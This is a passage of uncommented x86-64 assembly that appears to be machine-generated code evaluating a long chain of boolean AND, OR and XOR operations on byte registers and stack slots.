xor dl, 1
and sil, dl
mov byte [rsp + 0x4d], sil
mov ecx, edx
and cl, al
mov byte [rsp + 0x62], cl
xor dl, al
mov byte [rsp + 0x4c], dl
or al, r14b
xor al, 1
or al, r9b
mov ecx, r12d
xor cl, 1
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, dl
or al, cl
or cl, dl
xor cl, 1
or cl, bl
or dl, r12b
xor al, 1
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor cl, 1
xor dl, cl
xor dl, 1
and cl, dl
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
or dl, cl
and cl, dl
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and dl, al
or dl, cl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r11d, edx
xor r11b, 1
mov ecx, edx
or cl, r11b
mov esi, edx
xor sil, cl
mov ebx, esi
and bl, dl
mov eax, ebx
xor al, sil
xor bl, 1
or bl, sil
xor al, 1
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, dl
and cl, al
mov esi, ecx
xor sil, al
xor cl, 1
or cl, al
xor sil, 1
xor cl, 1
or cl, sil
mov eax, ecx
xor al, bl
mov esi, eax
and al, cl
and sil, bl
xor sil, 1
xor al, 1
mov ecx, esi
xor cl, al
or al, sil
xor al, 1
or al, cl
mov ecx, edx
and cl, r11b
mov esi, ecx
and sil, dl
xor cl, dl
or cl, sil
xor cl, bl
mov edx, r11d
and dl, bl
xor bl, r11b
or bl, dl
xor cl, 1
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov r11d, edx
and r11b, al
xor dl, al
or dl, r11b
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and dl, bl
or dl, al
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r12d, ecx
xor r12b, 1
mov edx, ecx
and dl, r12b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, ecx
or bl, r12b
mov r11d, ebx
xor r11b, 1
mov eax, ebx
and al, r11b
mov esi, ebx
and sil, al
xor al, bl
or al, sil
xor al, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor r12b, cl
or r12b, r11b
mov ebp, ebx
xor bpl, 1
mov r11d, ebp
and r11b, bl
mov edx, ebp
xor dl, r11b
xor r11b, 1
or r11b, bl
xor r11b, 1
or r11b, dl
mov edx, r12d
xor dl, 1
mov r10d, edx
and r10b, r12b
mov r8d, r12d
and r8b, r10b
mov esi, r12d
xor sil, r10b
or sil, r8b
mov r9d, r11d
xor r9b, 1
mov ecx, r11d
and cl, r9b
xor cl, 1
mov r14d, ecx
xor r14b, r9b
or cl, r9b
or r9b, r11b
mov r8d, r9d
xor r8b, 1
mov eax, r8d
and al, r9b
mov edi, eax
and dil, r8b
xor al, r8b
or al, dil
xor r9b, bpl
xor al, bl
or r8b, bl
xor r8b, 1
or r8b, r9b
xor r8b, 1
mov ebx, eax
and bl, r8b
xor r8b, al
or r8b, bl
mov eax, r10d
xor al, 1
xor r10b, dl
or al, r12b
xor al, 1
or al, r10b
or dl, r12b
xor al, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, r8d
xor dl, 1
and dl, al
xor al, 1
and al, r8b
or al, dl
xor cl, 1
or cl, r14b
mov edx, esi
xor dl, 1
mov ebx, ecx
and cl, dl
xor bl, 1
and bl, sil
or cl, bl
mov edx, r11d
xor dl, sil
or sil, r11b
xor sil, 1
or sil, dl
xor sil, 1
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
xor al, 1
mov ecx, eax
or cl, sil
xor al, sil
xor cl, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
or dl, al
mov ebx, eax
or bl, dl
xor dl, al
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
mov r12d, ecx
xor r12b, dl
xor r12b, 1
and r12b, cl
or cl, dl
xor r12b, 1
mov eax, r12d
xor al, cl
or r12b, cl
xor r12b, 1
or r12b, al
xor r12b, 1
mov eax, r12d
and al, dl
xor r12b, dl
or r12b, al
movzx edx, byte [rsp + 0x58]
xor dl, 1
or dl, byte [rsp + 0x50]
xor dl, 1
mov eax, r13d
and al, dl
xor r13b, dl
or r13b, al
movzx ecx, byte [rsp + 0x32]
mov eax, ecx
xor al, dl
or dl, cl
not al
and al, cl
xor dl, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor r13b, 1
xor al, r13b
xor al, 1
and r13b, al
xor r13b, 1
mov ecx, r13d
xor cl, al
or r13b, al
xor r13b, 1
or r13b, cl
mov ebx, r13d
xor bl, 1
mov r9d, ebx
and r9b, r13b
mov edi, r9d
xor dil, 1
mov ecx, r9d
and cl, dil
mov r8d, edi
and r8b, bl
xor dil, bl
mov edx, ebx
xor bl, r13b
or dl, r13b
xor dl, 1
or dl, bl
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
xor cl, r13b
or dil, r8b
xor cl, 1
mov ebx, ecx
xor bl, dil
or dil, cl
xor dil, 1
or dil, bl
mov r8d, edx
xor r8b, 1
mov r11d, edx
and r11b, r8b
mov ecx, edx
and cl, r11b
xor r11b, dl
or r11b, cl
mov r9d, edi
xor r9b, 1
mov ecx, r9d
and cl, dil
xor cl, 1
mov r10d, edi
xor r10b, cl
or cl, dil
xor cl, 1
or cl, r10b
xor dl, r8b
and dl, r8b
mov esi, r11d
xor sil, 1
or sil, r11b
mov r8d, esi
xor r8b, 1
mov r10d, r8d
and r10b, sil
mov ebx, r10d
xor bl, 1
or bl, sil
xor r10b, r8b
xor bl, 1
or bl, r10b
mov r10d, edx
xor r10b, 1
mov eax, edx
and al, r10b
xor al, 1
mov esi, eax
xor sil, r10b
or al, r10b
xor al, 1
or al, sil
xor al, bl
mov ebx, r8d
xor bl, dl
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, dl
xor al, 1
or al, dl
xor bl, 1
xor al, 1
or al, bl
mov r8d, ecx
xor r8b, 1
mov r10d, ecx
or r10b, r8b
mov ebx, r10d
and r10b, dil
xor bl, 1
mov edx, ebx
xor dl, r9b
and dl, bl
and bl, r9b
or bl, r10b
mov r9d, edx
xor r9b, 1
xor dl, bl
xor bl, 1
or bl, r9b
xor bl, 1
or bl, dl
mov r9d, ebx
xor r9b, 1
mov r10d, ebx
and r10b, r9b
mov edx, r10d
xor r10b, bl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, r10b
xor dl, al
xor r8b, r11b
and r8b, r11b
xor cl, r11b
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov eax, ecx
xor al, 1
and al, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or bl, dl
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, al
or al, cl
xor al, 1
or al, r8b
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov ecx, eax
xor al, dl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
or dl, al
xor al, dl
or dl, cl
xor al, 1
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov r13d, edx
xor r13b, 1
or dl, r13b
xor r13b, dl
and r13b, dl
xor r15b, byte [rsp + 0x38]
xor r15b, 1
or r15b, byte [rsp + 0x61]
mov eax, r15d
xor al, 1
mov ecx, eax
or cl, r15b
mov edx, r15d
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and cl, al
or cl, dl
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
and dl, r15b
xor al, dl
xor dl, 1
or dl, r15b
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
and bl, dl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov edx, ecx
xor dl, 1
mov r9d, ecx
xor r9b, dl
or dl, cl
mov r8d, edx
xor r8b, 1
or r9b, r8b
xor r9b, 1
mov eax, ebx
xor al, 1
mov r10d, r9d
or r10b, al
xor r10b, 1
xor al, r9b
or r10b, al
or bl, r9b
and al, r9b
xor bl, 1
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor r10b, 1
xor al, r10b
mov ebx, eax
xor bl, 1
and bl, r10b
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
mov r9d, ebx
xor r9b, 1
mov eax, r9d
and al, bl
mov r10d, r9d
and r10b, al
xor al, r9b
or al, r10b
or r9b, bl
mov ebx, eax
xor bl, 1
xor al, r9b
or r9b, bl
mov ebx, r9d
xor bl, al
or r9b, al
xor r9b, 1
or r9b, bl
mov eax, edx
and al, r8b
xor al, 1
mov ebx, r8d
xor bl, al
or al, r8b
xor al, 1
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor al, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
or al, dl
mov ecx, edx
or cl, al
xor al, dl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, r9d
xor cl, 1
mov edx, ecx
and dl, r9b
xor cl, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, cl
mov r9d, eax
xor r9b, 1
mov ebx, eax
or bl, r9b
xor bl, 1
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
mov ecx, edx
xor cl, 1
or cl, bl
xor bl, 1
or bl, dl
xor bl, 1
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
xor r9b, dl
and r9b, dl
xor dl, al
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, ecx
xor bl, 1
mov edx, eax
xor dl, 1
and al, bl
or bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov ecx, edx
or cl, r9b
mov eax, r9d
xor al, cl
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
mov ebx, eax
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
and dl, r9b
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov r8d, ebx
xor r8b, 1
mov eax, r8d
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov r9d, edx
xor r9b, 1
mov ecx, edx
or cl, r9b
mov r10d, r9d
and r10b, cl
xor cl, 1
mov r11d, ecx
xor r11b, r9b
mov esi, ecx
or cl, r9b
mov edi, eax
xor dil, 1
and dil, r9b
mov ebp, r8d
and bpl, r9b
xor r9b, r8b
or r8b, bl
mov r14d, r8d
or r14b, bl
xor r8b, bl
mov ebx, r14d
xor bl, r8b
xor r8b, 1
or r8b, r14b
xor bl, 1
xor r8b, 1
or r8b, bl
and sil, dl
or sil, r10b
xor cl, 1
or cl, r11b
xor cl, 1
mov ebx, esi
and bl, cl
xor cl, sil
or cl, bl
mov ebx, ecx
xor bl, 1
and cl, bl
xor cl, 1
mov r10d, ecx
xor r10b, bl
or cl, bl
xor cl, 1
or cl, r10b
mov ebx, r8d
xor bl, 1
and bl, cl
xor cl, 1
and cl, r8b
or cl, bl
and al, dl
or al, dil
or r9b, bpl
xor al, 1
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, cl
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, r8d
and dl, cl
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
mov eax, ecx
or al, r8b
mov ebx, eax
xor bl, 1
mov r9d, edx
xor r9b, 1
and r9b, bl
and dl, al
or dl, r9b
xor al, cl
or bl, r8b
xor bl, 1
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov ebx, r9d
and bl, dl
mov ecx, ebx
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
or dl, r9b
xor dl, cl
and cl, dl
mov eax, ecx
xor al, dl
xor cl, 1
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov edx, r9d
and dl, bl
xor bl, r9b
or bl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, al
and dl, cl
and al, cl
xor cl, 1
and bl, cl
or al, bl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov edi, eax
movzx ecx, byte [rsp + 0x5c]
mov eax, ecx
movzx r9d, byte [rsp + 0x54]
xor al, r9b
and al, cl
mov ebp, eax
xor bpl, 1
mov edx, eax
and dl, bpl
xor dl, 1
mov ebx, ebp
xor bl, dl
or dl, bpl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov ecx, eax
or cl, bpl
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov r8d, ebp
xor r8b, cl
mov ebx, ebp
or bl, cl
xor bl, 1
or bl, r8b
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor bpl, al
or bpl, cl
mov eax, ebx
xor al, 1
mov ecx, ebp
xor cl, 1
and cl, bl
or bl, bpl
and bpl, al
or bpl, cl
xor bl, 1
mov eax, ebx
and al, bpl
xor bpl, bl
or bpl, al
mov eax, ebp
xor al, 1
mov ecx, r9d
xor cl, al
movzx edx, byte [rsp + 0x40]
or cl, dl
mov ebx, ebp
xor bl, dl
or dl, bpl
xor dl, 1
or dl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, edx
xor bl, 1
and bl, cl
or cl, dl
and dl, r8b
or dl, bl
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, cl
xor bl, 1
xor dl, 1
or dl, bl
and bpl, al
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
xor dl, 1
mov eax, edx
xor al, bpl
or bpl, dl
xor bpl, 1
or bpl, al
xor bpl, 1
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
mov r10d, r13d
xor r10b, 1
mov r8d, r10d
and r8b, r13b
mov eax, r10d
and al, r8b
xor r10b, r8b
or al, r10b
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov r9d, r12d
xor r9b, 1
mov eax, edx
xor al, 1
mov ebx, r12d
and bl, r9b
mov r11d, ebx
xor r11b, 1
mov esi, r9d
or sil, r11b
xor sil, 1
mov ecx, ebx
xor cl, r12b
and bl, r12b
or bl, cl
or cl, sil
mov r14d, eax
xor r14b, cl
or cl, al
xor cl, 1
or cl, r14b
and dl, al
xor dl, 1
mov r14d, eax
xor r14b, dl
or dl, al
xor dl, 1
or dl, r14b
mov eax, r9d
and al, dl
xor dl, 1
and dl, r12b
or dl, al
mov r14d, ecx
xor r14b, 1
xor dl, 1
or dl, r12b
mov eax, edx
xor al, 1
and r14b, dl
and al, cl
or al, r14b
mov r14d, ecx
and r14b, dl
xor dl, cl
or dl, r14b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, ebx
xor bl, 1
and bl, dl
mov r14d, edx
xor r14b, 1
and al, r14b
or bl, al
mov eax, r14d
and al, r9b
xor r14b, r9b
or r14b, al
xor r14b, 1
mov eax, ebx
and al, r14b
xor r14b, bl
or r14b, al
xor r11b, r9b
or r11b, sil
mov eax, r11d
xor al, 1
mov edx, r9d
or dl, r12b
mov ebx, edx
xor bl, 1
and bl, al
or al, dl
and dl, r11b
or dl, bl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, al
xor bl, 1
xor dl, 1
or dl, bl
mov r11d, r10d
and r10b, r8b
xor r8b, 1
mov ebx, r13d
xor bl, r8b
or r8b, r13b
xor r8b, 1
or r8b, bl
mov ebx, edx
xor bl, 1
and dl, bl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r8d
xor al, dl
or dl, r8b
xor dl, 1
or dl, al
xor al, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor r11b, 1
mov eax, r10d
and al, r11b
xor r10b, r11b
or r10b, al
mov eax, r10d
xor al, 1
mov ebx, r10d
and bl, al
xor r10b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r10b
or r12b, bl
xor bl, 1
or bl, r9b
xor bl, 1
xor r12b, 1
mov eax, ebx
and al, r12b
xor r12b, bl
or r12b, al
mov eax, r12d
xor al, r9b
or r12b, r9b
xor r12b, 1
or r12b, al
mov eax, edx
xor al, 1
mov ebx, r12d
xor bl, 1
and r12b, dl
and al, bl
or al, r12b
mov ecx, ebx
xor cl, dl
xor al, 1
or al, dl
xor cl, 1
and cl, bl
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ebx
and dl, cl
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov r8d, edx
and r8b, al
xor cl, al
xor al, 1
xor dl, 1
and dl, al
or dl, r8b
or bl, al
xor bl, 1
or bl, cl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r8d, r14d
xor r8b, 1
mov eax, r8d
and al, r14b
xor al, 1
mov ecx, r14d
xor cl, al
or al, r14b
xor al, 1
or al, cl
mov r9d, ebx
xor r9b, 1
mov edx, eax
xor dl, 1
and dl, bl
and al, r9b
or al, dl
xor bl, r8b
mov edx, r14d
or dl, r9b
xor dl, 1
or dl, bl
xor al, 1
mov r8d, eax
xor r8b, dl
or al, dl
xor al, 1
or al, r8b
xor bl, 1
or r9b, bl
or bl, r14b
mov edx, r9d
xor dl, 1
mov ecx, edx
and cl, r9b
mov r8d, ecx
and r8b, dl
xor cl, dl
or cl, r8b
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
mov r10d, edx
and r10b, r8b
xor dl, r8b
or dl, r10b
mov r8d, ecx
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, cl
or dl, r8b
mov ecx, r9d
and cl, bl
xor bl, r9b
or bl, cl
mov ecx, edx
xor cl, bl
xor dl, 1
or dl, bl
xor cl, 1
xor dl, 1
or dl, cl
mov ebx, eax
xor bl, 1
mov r12d, eax
and r12b, bl
mov r8d, eax
and r8b, r12b
xor r12b, al
or r12b, r8b
or bl, al
mov eax, ebx
xor al, 1
and al, bl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov r8d, r12d
xor r8b, 1
mov r9d, eax
and r9b, r12b
xor al, 1
and al, r8b
or al, r9b
mov r9d, r8d
and r9b, bl
xor bl, r8b
or bl, r9b
xor bl, 1
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
mov r9d, edx
xor r9b, 1
mov r10d, r9d
or r10b, dl
mov r11d, r10d
xor r11b, 1
mov eax, r10d
and al, r11b
mov esi, r10d
and sil, al
xor al, r10b
or al, sil
mov esi, r9d
xor sil, dl
and sil, r9b
mov r14d, eax
and r14b, sil
or r11b, sil
xor sil, 1
xor al, 1
and al, sil
or al, r14b
xor sil, r10b
xor r11b, 1
or r11b, sil
xor al, 1
mov r10d, eax
xor r10b, r11b
or al, r11b
xor al, 1
or al, r10b
xor bl, 1
mov ecx, eax
xor cl, bl
xor cl, 1
and cl, al
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
and r9b, r8b
mov eax, r12d
xor al, dl
and al, r12b
and r12b, dl
or r12b, r9b
mov edx, eax
and dl, r12b
xor r12b, al
or r12b, dl
mov ebx, ecx
xor bl, 1
and cl, bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, r12d
xor al, 1
and al, r12b
mov edx, r12d
and dl, al
xor al, r12b
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
mov ecx, ebx
and cl, r12b
xor bl, r12b
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
mov byte [rsp + 0x50], dil
mov esi, edi
xor sil, 1
or bl, cl
mov byte [rsp + 0x40], bl
mov r12d, edi
and r12b, sil
mov r9d, r12d
xor r9b, 1
mov eax, esi
xor al, r9b
or r9b, sil
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
mov r11d, esi
or r11b, dil
mov ebx, r11d
xor bl, 1
mov ecx, r9d
xor cl, r11b
and cl, r9b
and al, bl
and r9b, r11b
or r9b, al
xor cl, 1
xor r9b, 1
mov eax, ecx
xor al, r9b
or r9b, cl
xor r9b, 1
or r9b, al
mov edi, ebp
xor dil, 1
mov r14d, ebp
and r14b, dil
mov eax, r14d
xor al, bpl
mov ecx, r14d
xor cl, 1
mov r15d, ecx
or r15b, dil
xor cl, dil
or dil, bpl
and r14b, bpl
xor r15b, 1
or r14b, al
or al, r15b
mov ebp, edi
xor bpl, 1
mov edx, eax
and dl, bpl
xor al, bpl
or al, dl
mov r13d, r9d
xor r13b, 1
mov edx, r9d
xor dl, al
or r9b, al
xor r9b, 1
or r9b, dl
and dl, al
or al, r13b
xor al, 1
mov r13d, edx
and r13b, al
xor al, dl
or al, r13b
mov r10d, r9d
xor r10b, 1
and r9b, r10b
mov r13d, r9d
and r13b, r10b
xor r9b, r10b
or r9b, r13b
mov r13d, eax
xor r13b, 1
mov r8d, eax
and r8b, r13b
mov edx, r8d
xor dl, 1
or dl, r13b
xor r8b, al
xor dl, 1
or dl, r8b
mov r8d, r9d
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, r9b
or dl, r8b
mov r8d, r10d
xor r8b, al
or al, r10b
xor al, 1
or al, r8b
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov r8d, eax
xor r8b, 1
mov edx, r8d
or dl, al
xor r8b, dl
or dl, al
xor r8b, 1
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
mov r8d, edx
and r8b, al
mov r9d, edx
and r9b, r8b
xor r8b, dl
or r8b, r9b
or al, dl
xor r8b, 1
xor al, 1
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov r9d, eax
xor r9b, 1
and r9b, al
xor r9b, 1
mov edx, eax
xor dl, r9b
or r9b, al
xor r9b, 1
or r9b, dl
mov eax, ebx
and al, r11b
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
and dl, sil
xor al, 1
movzx r10d, byte [rsp + 0x50]
and al, r10b
or al, dl
xor r11b, sil
or bl, r10b
xor bl, 1
or bl, r11b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
xor dl, r14b
xor r14b, 1
mov eax, r14d
and al, bl
xor bl, r14b
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
or cl, r15b
mov eax, edi
and al, bpl
mov ebx, edi
xor bl, al
xor al, 1
or al, bpl
xor al, 1
or al, bl
mov ebx, eax
and bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, bl
mov ebx, ecx
and bl, dil
xor cl, dil
or cl, bl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, r12d
mov eax, r10d
and bl, r10b
xor r12b, r10b
or r12b, bl
xor cl, 1
xor r12b, cl
mov ebx, r10d
xor bl, cl
or cl, r10b
xor cl, 1
or cl, bl
xor cl, 1
mov eax, r12d
and al, cl
xor cl, r12b
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov esi, eax
xor sil, 1
mov edi, esi
and dil, al
xor dil, 1
mov r8d, eax
xor r8b, dil
or dil, al
xor dil, 1
or dil, r8b
or sil, al
mov r8d, edx
xor r8b, 1
mov ebx, edx
or bl, r8b
mov r10d, edx
or r10b, bl
xor bl, dl
xor bl, 1
mov r11d, r10d
xor r11b, bl
or bl, r10b
xor bl, 1
or bl, r11b
mov r10d, edi
xor r10b, 1
mov r11d, esi
xor r11b, 1
and r11b, r10b
mov ecx, edi
and cl, sil
or cl, r11b
mov r11d, r10d
and r11b, sil
xor sil, r10b
or sil, r11b
xor cl, 1
mov r11d, ecx
xor r11b, sil
or cl, sil
xor cl, 1
or cl, r11b
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov r11d, ebx
xor r11b, al
or al, bl
xor al, 1
or al, r11b
xor al, cl
and dl, r8b
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
mov ecx, edx
and dl, r10b
xor cl, 1
and cl, dil
or dl, cl
mov ecx, r8d
xor cl, dil
or dil, r8b
xor dil, 1
or dil, cl
xor dl, 1
mov ecx, edx
xor cl, dil
or dl, dil
xor dl, 1
or dl, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
xor dl, 1
xor al, dl
xor cl, dl
or dl, bl
xor al, 1
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
mov r8d, r9d
xor r8b, 1
or dl, al
or r8b, r9b
mov eax, r9d
xor al, r8b
and r8b, r9b
mov ecx, eax
xor cl, 1
or r8b, al
xor al, r8b
xor al, 1
or r8b, cl
xor r8b, 1
or r8b, al
mov ebp, edx
xor bpl, 1
mov eax, ebp
or al, dl
mov r9d, eax
xor r9b, 1
mov ecx, eax
and cl, r9b
mov r10d, eax
and r10b, cl
xor cl, al
or cl, r10b
mov eax, ebp
and al, dl
xor al, 1
mov r10d, edx
xor r10b, al
or al, dl
xor al, 1
or al, r10b
xor al, cl
xor bpl, dl
or bpl, r9b
mov r10d, r9d
xor r9b, dl
or r10b, dl
xor r10b, 1
or r10b, r9b
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov r9d, r8d
xor r9b, 1
mov eax, r9d
or al, r8b
mov ecx, eax
xor cl, r9b
and cl, al
mov eax, ebp
xor al, 1
and bpl, al
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r11d, ecx
xor r11b, dl
or dl, cl
xor dl, 1
or dl, r11b
or al, cl
mov r11d, edx
xor r11b, 1
mov edi, edx
xor dil, r11b
and dil, dl
mov esi, eax
xor sil, 1
mov ecx, edi
xor cl, 1
and sil, cl
or cl, al
and al, dil
or al, sil
xor al, 1
mov esi, ecx
xor sil, al
or al, cl
xor al, 1
or al, sil
mov ecx, edx
and cl, r11b
mov esi, ecx
and sil, dl
xor cl, dl
or cl, sil
mov edx, ecx
xor dl, r11b
or cl, r11b
xor cl, 1
or cl, dl
mov r11d, eax
xor r11b, 1
mov edx, ecx
xor dl, 1
and dl, al
or al, cl
and cl, r11b
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
mov esi, r10d
xor sil, 1
mov edx, r10d
and dl, sil
mov r11d, r10d
xor r11b, dl
xor dl, 1
or dl, sil
xor dl, 1
or dl, r11b
mov eax, edx
xor al, 1
or al, dl
mov r11d, esi
and r11b, al
xor al, 1
mov edi, eax
xor dil, r10b
and dil, al
and al, r10b
or al, r11b
mov r11d, edi
and r11b, al
xor al, dil
